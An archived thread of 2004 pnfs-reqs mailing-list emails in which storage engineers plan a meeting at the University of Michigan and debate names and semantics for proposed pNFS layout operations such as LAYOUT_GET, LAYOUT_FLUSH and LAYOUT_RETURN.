black_david@emc.com Mon Apr 12 10:14:32 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 31021 invoked from network); 12 Apr 2004 17:14:31 -0000 Received: from unknown (66.218.66.166) by m25.grp.scd.yahoo.com with QMQP; 12 Apr 2004 17:14:31 -0000 Received: from unknown (HELO MAHO3MSX2.corp.emc.com) (128.221.11.32) by mta5.grp.scd.yahoo.com with SMTP; 12 Apr 2004 17:14:31 -0000 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Apr 2004 13:14:30 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Mon, 12 Apr 2004 13:14:28 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.11.32 From: black_david@emc.com Subject: RE: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > David, any chance of a 1/2 day in Ann Arbor on Mon or Tues? No, it takes about 4 hours by car, plane, or train between Ann Arbor and Chicago, so half a day of meetings in either place takes out the entire day. I could call into a meeting Monday AM or Tuesday AM, I think ... On the other hand according to what's currently on T11's web site, Monday is workable for me (the web site doesn't match the schedule I thought I saw last week - I don't know why). I suspect we need to hold off about a week on scheduling this, as the meeting info determined last week may not have made it to T11's web site yet (they're having web problems). Sorry, --David > -----Original Message----- > From: Garth Gibson [mailto:garth@panasas.com] > Sent: Monday, April 12, 2004 12:35 PM > To: pnfs-reqs@yahoogroups.com > Subject: Re: [pnfs-reqs] planning for our next face-to-face > > > I am also committed to be in CA on June 10, so Thurs and Fri > don't work > for me. > > David, any chance of a 1/2 day in Ann Arbor on Mon or Tues? > > garth > > On Apr 12, 2004, at 9:56 AM, Corbett, Peter wrote: > > That doesn't work for me, unfortunately. I have prior plans for the > > 11th that I can't change, and I have to be home on the 10th. > > > > -----Original Message----- > > From: black_david@emc.com [mailto:black_david@emc.com] > > Sent: Thursday, April 08, 2004 6:36 PM > > To: pnfs-reqs@yahoogroups.com > > Subject: RE: [pnfs-reqs] planning for our next face-to-face > > > >> We talked about our next face to face being in Ann Arbor during the > >> week of the NFSv4 bake-a-thon. in the week of June 7-11. David > >> mentioned the conflict with T11 in Chicago, but thought it might be > >> workable. > > > > At least for me, I appear to have T11 meetings that I should attend > > on Monday, Tuesday, and Wednesday. I think I can skip the meetings > > on Thursday, so that should make Thursday and Friday of that week > > possible. > > > > Thanks, > > --David > > ---------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 176 South St., Hopkinton, MA 01748 > > +1 (508) 293-7953 FAX: +1 (508) 293-7786 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > ---------------------------------------------------- > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. 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Groups Links > > > > > >From bhalevy@panasas.com Thu Apr 15 15:33:34 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 80378 invoked from network); 15 Apr 2004 22:33:33 -0000 Received: from unknown (66.218.66.166) by m22.grp.scd.yahoo.com with QMQP; 15 Apr 2004 22:33:33 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 15 Apr 2004 22:33:33 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id <2B56LNNM>; Thu, 15 Apr 2004 18:33:32 -0400 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D389CF@PIKES.panasas.com> To: ""'pnfs-ops@yahoogroups.com'"" , pnfs-reqs@yahoogroups.com Date: Thu, 15 Apr 2004 18:33:27 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops discussio n X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy my comments below... >-----Original Message----- >From: black_david@emc.com [mailto:black_david@emc.com] >Sent: Tuesday, April 06, 2004 3:01 PM >To: pnfs-reqs@yahoogroups.com; pnfs-ops@yahoogroups.com >Subject: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops discussion > > >Some comments: > >> Conclusion: these issues motivate the need for >> * Separate read and write layout delegations >> * Relatively prompt release of write delegations for those servers >> that want to keep a closer eye on their clients. They can give out >> short lease times (e.g., 10 minutes as opposed to 8 hours) for the >> write layout delegations > >Leases could use some more thought. HighRoad uses a >client-wide ""lease"", >in the form of a periodic heartbeat. In essence, the client >has to remain >in constant communication with the server - it's required to >do something >once every so often, and issues a no-op if it has nothing else >to do in the >necessary time period. This accomplishes the major benefit of leases >(clean recovery of resources from a dead client), without >having to track >a time per lease. Notifications are always needed, as leases aren't >enough when there's active contention. > >> 2. What are the Ops called >> >> The doc that I floated has READ_IND, WRITE_IND, and COMMIT_IND. >> But we have also used DELEG_ASK and DELEG_RETURN. The write/commit >> terminology reflects the model where the server is paying >close attention >> to write patterns by clients. Because that doesn't >necessarily apply, >> the DELEG_ASK and DELEG_RETURN op names have been suggested. I think >> we may need separate READ_DELEG_ASK and WRITE_DELEG_ASK >because different >> arguments have been suggested, although we may be able to unify them. > >I think a name that does not involve any part of the word ""delegation"" >will help avoid confusion with the existing data delegations >(which behave >very differently). MAP and LAYOUT are possibilities. I agree. I prefer LAYOUT since it's slightly more general. > >> I heard a request for >> Two ranges in READ_DELEG_ASK, a minimum and maximum size. >David - does >> this apply to both read and write? > >Yes. The ""minimum"" is an instruction from the client to the server to >reject or queue the operation until it can satisfy at least >the minimum. >The ""maximum"" is an optimization hint. > >> There is also the issue that WRITE_DELEG_RETURN will want to return >> updated layout information so it can communicate to block >servers what >> blocks have been used. I suppose it is possible to model >that as a kind >> of attribute - we need to communicate the EOF and mtime attribute at >> WRITE_DELEG_RETURN anyway. However, in other cases we've >decided that >> attributes don't work so well for layout info, so I'd be reluctant to >> make them into an attribute in this case. So, I'd advocate that >> WRITE_DELEG_RETURN is a different op than READ_DELEG_RETURN, and that >> it has an explicit layout_prime return parameter to reflect >> what it did. > >It's sufficient to flag returned extent ranges as: >- Commit. Only needed for writable extents that contained no >valid data. > When writable extents are obtained, the client is told which > ones have invalid data and will need to be committed (this moves > zero-fill responsibility to the client from the >metadata server). > This may be block-only, as object and file systems will handle > zero-fill in the data server and hence never need to issue > invalid data extents. >- Release. Give back the read or write rights in an extent. >It's also necessary to be able to set access or modify times - passing >a couple of flags to tell the server to do this avoids any dependence >on clients having the same time as servers - and to be able to set the >EOF as part of the operation. > >> Conclusion: I'm coming down in favor of 4 ops: >> {READ,WRITE}_DELEG_{ASK,RETURN} > >I'd like to see ""DELEG"" changed to something like ""MAP"", ""LAYOUT"", or >""EXTENT"". HighRoad uses 3 ops (common return op for read and write), >but 4 is probably cleaner (e.g., can't get confused and try to set >modify time when returning a read extent, but do need ""no change"", >""set access"" and ""set access and modify"" options when returning a >write extent). Would you always want to return the layout when you commit or release extents or will you want to keep it in some cases? If you want to keep it then calling the operation *_RETURN is confusing... how about: LAYOUT_GET: Takes type (READ/WRITE) and type specific parameters in a discriminated union. LAYOUT_FLUSH: [analogous to EMC's FMP_Flush] Takes type specific parameters such as new EOF, extents to commit/release, etc. The client may continue to hold the layout after LAYOUT_FLUSH. LAYOUT_RETURN: Return the layout. The layout and everything associated with it are invalid to the client at this point. This will be called when the layout is being called back or voluntarily by the client. CB_LAYOUT_RECALL: Similar to CB_RECALL for data delegations. The client is instructed to quiesce its activity and to return the layout via (LAYOUT_FLUSH +) LAYOUT_RETURN. > >> 3. Resource discovery >> >> There was a little discussion of the DEVICE_LIST and DEVICE_INFO ops. >> The main point was that the device info needs to be typed so that >> clients know if they have the correct datapath driver to use >> that device. > >And the identifiers within each type need to be sufficiently global/ >unambiguous to avoid possible confusion. > >> It was also brought up that servers may be able to export different >> kinds of layouts (e.g., both files and objects, or multiple flavors >> of layout foo) so clients may want to negotiate with the >servers about >> what kind of delegation to return. This implies a type in >> the *_DELEG_ASK operations. > >Ok. > >Thanks, >--David >---------------------------------------------------- >David L. Black, Senior Technologist >EMC Corporation, 176 South St., Hopkinton, MA 01748 >+1 (508) 293-7953 FAX: +1 (508) 293-7786 >black_david@emc.com Mobile: +1 (978) 394-7754 >---------------------------------------------------- > > > >Yahoo! Groups Links > > > > > >From black_david@emc.com Thu Apr 15 15:54:53 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 27622 invoked from network); 15 Apr 2004 22:54:52 -0000 Received: from unknown (66.218.66.217) by m24.grp.scd.yahoo.com with QMQP; 15 Apr 2004 22:54:52 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta2.grp.scd.yahoo.com with SMTP; 15 Apr 2004 22:54:52 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id <2006516F>; Thu, 15 Apr 2004 18:54:49 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Date: Thu, 15 Apr 2004 18:54:48 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: RE: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops discussio n X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > Would you always want to return the layout when you commit or > release extents or will you want to keep it in some cases? > If you want to keep it then calling the operation *_RETURN is > confusing... Yes, there are times when one wants to keep the layout. A client calling fsync() is a particularly obvious example ... I think the idea of LAYOUT_{GET,FLUSH,RETURN} ops along with the callback looks ok, although FLUSH and RETURN will have many parameters in common (FMP_Flush has a flag saying whether to Release/RETURN or not). Thanks, --David > -----Original Message----- > From: Halevy, Benny [mailto:bhalevy@panasas.com] > Sent: Thursday, April 15, 2004 6:33 PM > To: 'pnfs-ops@yahoogroups.com'; pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS > ops discussio n > > > my comments below... > > >-----Original Message----- > >From: black_david@emc.com [mailto:black_david@emc.com] > >Sent: Tuesday, April 06, 2004 3:01 PM > >To: pnfs-reqs@yahoogroups.com; pnfs-ops@yahoogroups.com > >Subject: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops > discussion > > > > > >Some comments: > > > >> Conclusion: these issues motivate the need for > >> * Separate read and write layout delegations > >> * Relatively prompt release of write delegations for those servers > >> that want to keep a closer eye on their clients. They > can give out > >> short lease times (e.g., 10 minutes as opposed to 8 > hours) for the > >> write layout delegations > > > >Leases could use some more thought. HighRoad uses a > >client-wide ""lease"", > >in the form of a periodic heartbeat. In essence, the client > >has to remain > >in constant communication with the server - it's required to > >do something > >once every so often, and issues a no-op if it has nothing else > >to do in the > >necessary time period. This accomplishes the major benefit of leases > >(clean recovery of resources from a dead client), without > >having to track > >a time per lease. Notifications are always needed, as leases aren't > >enough when there's active contention. > > > >> 2. What are the Ops called > >> > >> The doc that I floated has READ_IND, WRITE_IND, and COMMIT_IND. > >> But we have also used DELEG_ASK and DELEG_RETURN. The write/commit > >> terminology reflects the model where the server is paying > >close attention > >> to write patterns by clients. Because that doesn't > >necessarily apply, > >> the DELEG_ASK and DELEG_RETURN op names have been > suggested. I think > >> we may need separate READ_DELEG_ASK and WRITE_DELEG_ASK > >because different > >> arguments have been suggested, although we may be able to > unify them. > > > >I think a name that does not involve any part of the word > ""delegation"" > >will help avoid confusion with the existing data delegations > >(which behave > >very differently). MAP and LAYOUT are possibilities. > > I agree. I prefer LAYOUT since it's slightly more general. > > > > >> I heard a request for > >> Two ranges in READ_DELEG_ASK, a minimum and maximum size. > >David - does > >> this apply to both read and write? > > > >Yes. The ""minimum"" is an instruction from the client to the > server to > >reject or queue the operation until it can satisfy at least > >the minimum. > >The ""maximum"" is an optimization hint. > > > >> There is also the issue that WRITE_DELEG_RETURN will want > to return > >> updated layout information so it can communicate to block > >servers what > >> blocks have been used. I suppose it is possible to model > >that as a kind > >> of attribute - we need to communicate the EOF and mtime > attribute at > >> WRITE_DELEG_RETURN anyway. However, in other cases we've > >decided that > >> attributes don't work so well for layout info, so I'd be > reluctant to > >> make them into an attribute in this case. So, I'd advocate that > >> WRITE_DELEG_RETURN is a different op than > READ_DELEG_RETURN, and that > >> it has an explicit layout_prime return parameter to reflect > >> what it did. > > > >It's sufficient to flag returned extent ranges as: > >- Commit. Only needed for writable extents that contained no > >valid data. > > When writable extents are obtained, the client is told which > > ones have invalid data and will need to be committed (this moves > > zero-fill responsibility to the client from the > >metadata server). > > This may be block-only, as object and file systems will handle > > zero-fill in the data server and hence never need to issue > > invalid data extents. > >- Release. Give back the read or write rights in an extent. > >It's also necessary to be able to set access or modify times > - passing > >a couple of flags to tell the server to do this avoids any dependence > >on clients having the same time as servers - and to be able > to set the > >EOF as part of the operation. > > > >> Conclusion: I'm coming down in favor of 4 ops: > >> {READ,WRITE}_DELEG_{ASK,RETURN} > > > >I'd like to see ""DELEG"" changed to something like ""MAP"", ""LAYOUT"", or > >""EXTENT"". HighRoad uses 3 ops (common return op for read and write), > >but 4 is probably cleaner (e.g., can't get confused and try to set > >modify time when returning a read extent, but do need ""no change"", > >""set access"" and ""set access and modify"" options when returning a > >write extent). > > Would you always want to return the layout when you commit or > release extents or will you want to keep it in some cases? > If you want to keep it then calling the operation *_RETURN is > confusing... > > how about: > > LAYOUT_GET: > Takes type (READ/WRITE) and type specific parameters in a > discriminated > union. > > LAYOUT_FLUSH: [analogous to EMC's FMP_Flush] > Takes type specific parameters such as new EOF, extents to > commit/release, > etc. The client may continue to hold the layout after LAYOUT_FLUSH. > > LAYOUT_RETURN: > Return the layout. The layout and everything associated with it are > invalid to the client at this point. This will be called > when the layout > is being called back or voluntarily by the client. > > CB_LAYOUT_RECALL: > Similar to CB_RECALL for data delegations. The client is > instructed to quiesce its activity and to return the layout via > (LAYOUT_FLUSH +) LAYOUT_RETURN. > > > > >> 3. Resource discovery > >> > >> There was a little discussion of the DEVICE_LIST and > DEVICE_INFO ops. > >> The main point was that the device info needs to be typed so that > >> clients know if they have the correct datapath driver to use > >> that device. > > > >And the identifiers within each type need to be sufficiently global/ > >unambiguous to avoid possible confusion. > > > >> It was also brought up that servers may be able to export different > >> kinds of layouts (e.g., both files and objects, or multiple flavors > >> of layout foo) so clients may want to negotiate with the > >servers about > >> what kind of delegation to return. This implies a type in > >> the *_DELEG_ASK operations. > > > >Ok. > > > >Thanks, > >--David > >---------------------------------------------------- > >David L. Black, Senior Technologist > >EMC Corporation, 176 South St., Hopkinton, MA 01748 > >+1 (508) 293-7953 FAX: +1 (508) 293-7786 > >black_david@emc.com Mobile: +1 (978) 394-7754 > >---------------------------------------------------- > > > > > > > >Yahoo! Groups Links > > > > > > > > > > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the > US & Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > -------------------------------------------------------------- > -------~-> > > > Yahoo! Groups Links > > > > > >From garth@panasas.com Thu Apr 15 21:37:53 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 68904 invoked from network); 16 Apr 2004 04:37:52 -0000 Received: from unknown (66.218.66.167) by m21.grp.scd.yahoo.com with QMQP; 16 Apr 2004 04:37:52 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 16 Apr 2004 04:37:52 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56LN0K; Fri, 16 Apr 2004 00:37:51 -0400 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Fri, 16 Apr 2004 00:37:49 -0400 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Fwd: logistics status X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Trying again -- last night's email did not make it into Yahoo somehow. Begin forwarded message: > From: Garth Gibson > Date: April 15, 2004 1:33:46 AM EDT > To: pnfs-reqs@yahoogroups.com > Cc: Garth Gibson > Subject: logistics status > > Folks, > > 1) there is no pNFS logistics concall tomorrow at 11am EST (I am on a > MSST04 panel at that time) > > 2) currently, we have 5 mailing lists and are not using most of them > -- lets retreat to using just one mailing list for now -- just > pnfs-reqs@yahoogroups.com -- when discussions of different backend > metadata formats get going we can reconsider this > > 3) weekly concalls, which have always focused on getting > administrative things done, should be dedicated to this -- we have > been and should do all technical discussions on the mailing list (or > at face-to-face meetings) -- anyone who wants to be part of the weekly > administrative concall, when it happens, should send me email > identifying yourself and requesting dial-in details > > garth > > ------------------ > > We have lots of new members, so I thought I'd reprise a little of how > we interact (so far anyway). > > We have had two face-to-face meetings to date: Dec 4 03 and Mar 31 04 > (FAST). > > We are planning our next face-to-face for U. Michigan (CITI) during > the week of June 7-11, which is when and where the NFSv4 Bake-a-thon > is being held. Tentative target, not yet confirmed or arranged, is > June 7. This will give us a very good chance to interact with the > broader NFSv4 community. There may be an interim IETF NFSv4 working > group meeting at the same place in the same week (hopefully on the > following day). > > The following face-to-face is tentatively planned for the IETF meeting > in San Diego the week of Aug 2-6. > > In general we are always working on multiple sub-tasks. > > Administratively, we have collaborated on a problem statement IETF > draft that was submitted to the most recent Seoul IETF meeting and a > slide deck that was given at Seoul and again at FAST. This was done > to begin the negotiation with the IETF hierarchy. Next steps in these > administrative processes would be to generate a draft of a > requirements document and share it with the NFSv4 community. And to > work with the NFSv4 community to charter pNFS into an IETF process, > specifically NFSv4. In order for the NFSv4 community to have a good > chance to see the draft of the requirements document, we should it put > out in May. Because this seems to be a pain for most people to > contribute to, I've signed up to push/beg/pull it into some useful > shape. > > Technically, we don't much like the administrative work. We like to > discuss semantics of possible NFSv4 extension commands. Brent Welch > has sent out summary docs with some of our thinking twice so far, and > will probably do so again before too long. Anybody wanting to beat > him to it is welcome! This is the meat of our work, and every bit of > progress on it is great. Especially where it helps us pin down > requirements. I'm guessing that the timeline on posting for wider > comments on a draft of this will be late summer, possibly with a > revision of the requirements document. It would be great if it > happens faster. > > garth >From bhalevy@panasas.com Fri Apr 16 04:28:00 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 97092 invoked from network); 16 Apr 2004 11:27:59 -0000 Received: from unknown (66.218.66.167) by m25.grp.scd.yahoo.com with QMQP; 16 Apr 2004 11:27:59 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 16 Apr 2004 11:27:59 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id <2B56L3NC>; Fri, 16 Apr 2004 07:27:31 -0400 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D389D0@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com Date: Fri, 16 Apr 2004 07:27:29 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops discussio n X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy > although FLUSH and RETURN will have many parameters in > common (FMP_Flush has a flag saying whether to Release/RETURN or > not). This is what I thought the first time I looked at it too. In second thought, in NFSv4 you'd just COMPOUND them - passing the common parameters via FLUSH, followed by a thin RETURN op. Benny > -----Original Message----- > From: black_david@emc.com [mailto:black_david@emc.com] > Sent: Thursday, April 15, 2004 5:55 PM > To: pnfs-reqs@yahoogroups.com; pnfs-ops@yahoogroups.com > Subject: RE: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops > discussio n > > > > Would you always want to return the layout when you commit or > > release extents or will you want to keep it in some cases? > > If you want to keep it then calling the operation *_RETURN is > > confusing... > > Yes, there are times when one wants to keep the layout. A client > calling fsync() is a particularly obvious example ... I think > the idea of LAYOUT_{GET,FLUSH,RETURN} ops along with the callback > looks ok, although FLUSH and RETURN will have many parameters in > common (FMP_Flush has a flag saying whether to Release/RETURN or > not). > > Thanks, > --David > > > -----Original Message----- > > From: Halevy, Benny [mailto:bhalevy@panasas.com] > > Sent: Thursday, April 15, 2004 6:33 PM > > To: 'pnfs-ops@yahoogroups.com'; pnfs-reqs@yahoogroups.com > > Subject: RE: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS > > ops discussio n > > > > > > my comments below... > > > > >-----Original Message----- > > >From: black_david@emc.com [mailto:black_david@emc.com] > > >Sent: Tuesday, April 06, 2004 3:01 PM > > >To: pnfs-reqs@yahoogroups.com; pnfs-ops@yahoogroups.com > > >Subject: [pnfs-ops] RE: [pnfs-reqs] Notes from FAST pNFS ops > > discussion > > > > > > > > >Some comments: > > > > > >> Conclusion: these issues motivate the need for > > >> * Separate read and write layout delegations > > >> * Relatively prompt release of write delegations for > those servers > > >> that want to keep a closer eye on their clients. They > > can give out > > >> short lease times (e.g., 10 minutes as opposed to 8 > > hours) for the > > >> write layout delegations > > > > > >Leases could use some more thought. HighRoad uses a > > >client-wide ""lease"", > > >in the form of a periodic heartbeat. In essence, the client > > >has to remain > > >in constant communication with the server - it's required to > > >do something > > >once every so often, and issues a no-op if it has nothing else > > >to do in the > > >necessary time period. This accomplishes the major > benefit of leases > > >(clean recovery of resources from a dead client), without > > >having to track > > >a time per lease. Notifications are always needed, as > leases aren't > > >enough when there's active contention. > > > > > >> 2. What are the Ops called > > >> > > >> The doc that I floated has READ_IND, WRITE_IND, and COMMIT_IND. > > >> But we have also used DELEG_ASK and DELEG_RETURN. The > write/commit > > >> terminology reflects the model where the server is paying > > >close attention > > >> to write patterns by clients. Because that doesn't > > >necessarily apply, > > >> the DELEG_ASK and DELEG_RETURN op names have been > > suggested. I think > > >> we may need separate READ_DELEG_ASK and WRITE_DELEG_ASK > > >because different > > >> arguments have been suggested, although we may be able to > > unify them. > > > > > >I think a name that does not involve any part of the word > > ""delegation"" > > >will help avoid confusion with the existing data delegations > > >(which behave > > >very differently). MAP and LAYOUT are possibilities. > > > > I agree. I prefer LAYOUT since it's slightly more general. > > > > > > > >> I heard a request for > > >> Two ranges in READ_DELEG_ASK, a minimum and maximum size. > > >David - does > > >> this apply to both read and write? > > > > > >Yes. The ""minimum"" is an instruction from the client to the > > server to > > >reject or queue the operation until it can satisfy at least > > >the minimum. > > >The ""maximum"" is an optimization hint. > > > > > >> There is also the issue that WRITE_DELEG_RETURN will want > > to return > > >> updated layout information so it can communicate to block > > >servers what > > >> blocks have been used. I suppose it is possible to model > > >that as a kind > > >> of attribute - we need to communicate the EOF and mtime > > attribute at > > >> WRITE_DELEG_RETURN anyway. However, in other cases we've > > >decided that > > >> attributes don't work so well for layout info, so I'd be > > reluctant to > > >> make them into an attribute in this case. So, I'd advocate that > > >> WRITE_DELEG_RETURN is a different op than > > READ_DELEG_RETURN, and that > > >> it has an explicit layout_prime return parameter to reflect > > >> what it did. > > > > > >It's sufficient to flag returned extent ranges as: > > >- Commit. Only needed for writable extents that contained no > > >valid data. > > > When writable extents are obtained, the client is told which > > > ones have invalid data and will need to be committed (this moves > > > zero-fill responsibility to the client from the > > >metadata server). > > > This may be block-only, as object and file systems will handle > > > zero-fill in the data server and hence never need to issue > > > invalid data extents. > > >- Release. Give back the read or write rights in an extent. > > >It's also necessary to be able to set access or modify times > > - passing > > >a couple of flags to tell the server to do this avoids any > dependence > > >on clients having the same time as servers - and to be able > > to set the > > >EOF as part of the operation. > > > > > >> Conclusion: I'm coming down in favor of 4 ops: > > >> {READ,WRITE}_DELEG_{ASK,RETURN} > > > > > >I'd like to see ""DELEG"" changed to something like ""MAP"", > ""LAYOUT"", or > > >""EXTENT"". HighRoad uses 3 ops (common return op for read > and write), > > >but 4 is probably cleaner (e.g., can't get confused and try to set > > >modify time when returning a read extent, but do need ""no change"", > > >""set access"" and ""set access and modify"" options when returning a > > >write extent). > > > > Would you always want to return the layout when you commit or > > release extents or will you want to keep it in some cases? > > If you want to keep it then calling the operation *_RETURN is > > confusing... > > > > how about: > > > > LAYOUT_GET: > > Takes type (READ/WRITE) and type specific parameters in a > > discriminated > > union. > > > > LAYOUT_FLUSH: [analogous to EMC's FMP_Flush] > > Takes type specific parameters such as new EOF, extents to > > commit/release, > > etc. The client may continue to hold the layout after > LAYOUT_FLUSH. > > > > LAYOUT_RETURN: > > Return the layout. The layout and everything associated > with it are > > invalid to the client at this point. This will be called > > when the layout > > is being called back or voluntarily by the client. > > > > CB_LAYOUT_RECALL: > > Similar to CB_RECALL for data delegations. The client is > > instructed to quiesce its activity and to return the layout via > > (LAYOUT_FLUSH +) LAYOUT_RETURN. > > > > > > > >> 3. Resource discovery > > >> > > >> There was a little discussion of the DEVICE_LIST and > > DEVICE_INFO ops. > > >> The main point was that the device info needs to be typed so that > > >> clients know if they have the correct datapath driver to use > > >> that device. > > > > > >And the identifiers within each type need to be > sufficiently global/ > > >unambiguous to avoid possible confusion. > > > > > >> It was also brought up that servers may be able to > export different > > >> kinds of layouts (e.g., both files and objects, or > multiple flavors > > >> of layout foo) so clients may want to negotiate with the > > >servers about > > >> what kind of delegation to return. This implies a type in > > >> the *_DELEG_ASK operations. > > > > > >Ok. > > > > > >Thanks, > > >--David > > >---------------------------------------------------- > > >David L. Black, Senior Technologist > > >EMC Corporation, 176 South St., Hopkinton, MA 01748 > > >+1 (508) 293-7953 FAX: +1 (508) 293-7786 > > >black_david@emc.com Mobile: +1 (978) 394-7754 > > >---------------------------------------------------- > > > > > > > > > > > >Yahoo! Groups Links > > > > > > > > > > > > > > > > > > > > > ------------------------ Yahoo! Groups Sponsor > > ---------------------~--> > > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon > or Lexmark > > Printer at MyInks.com. Free s/h on orders $50 or more to the > > US & Canada. > > http://www.c1tracking.com/l.asp?cid=5511 > > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > > -------------------------------------------------------------- > > -------~-> > > > > > > Yahoo! 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Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 16 Apr 2004 11:43:23 -0400 Message-Id: <20040416154323.CE6B820824@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169434965 hello we do need to choose a day for both the face-to-face and the interim IETF working group meeting - i need to reserve the appropriate room(s) at the university. i also need an approximate head count. who makes the decision!? -->Andy garth@panasas.com said: > We are planning our next face-to-face for U. Michigan (CITI) during > the week of June 7-11, which is when and where the NFSv4 Bake-a-thon > is being held. Tentative target, not yet confirmed or arranged, is > June 7. This will give us a very good chance to interact with the > broader NFSv4 community. There may be an interim IETF NFSv4 working > group meeting at the same place in the same week (hopefully on the > following day). >From dnoveck@netapp.com Fri Apr 16 09:20:51 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 89990 invoked from network); 16 Apr 2004 16:20:50 -0000 Received: from unknown (66.218.66.167) by m2.grp.scd.yahoo.com with QMQP; 16 Apr 2004 16:20:50 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 16 Apr 2004 16:20:50 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i3GGKnZh005983 for ; Fri, 16 Apr 2004 09:20:49 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i3GGKnNm026049 for ; Fri, 16 Apr 2004 09:20:49 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Fri, 16 Apr 2004 09:20:45 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Fwd: logistics status Thread-Index: AcQjyZdlAHU10p9NRGWHkBOwGXB0mQAAMXZw To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck > who makes the decision!? I think that's obvious. You do. As far as the face-to-face goes, I think what I've heard is that originally David Black was going to be in Chicago attending T11 meetings Mon-Wed but that Peter Corbett but could not make either Thursday or Friday, leaving us in a bind. David then said that the schedule might have changed and that Monday might be OK, but I haven't seen any confirmation of that. I think he also said he could probably 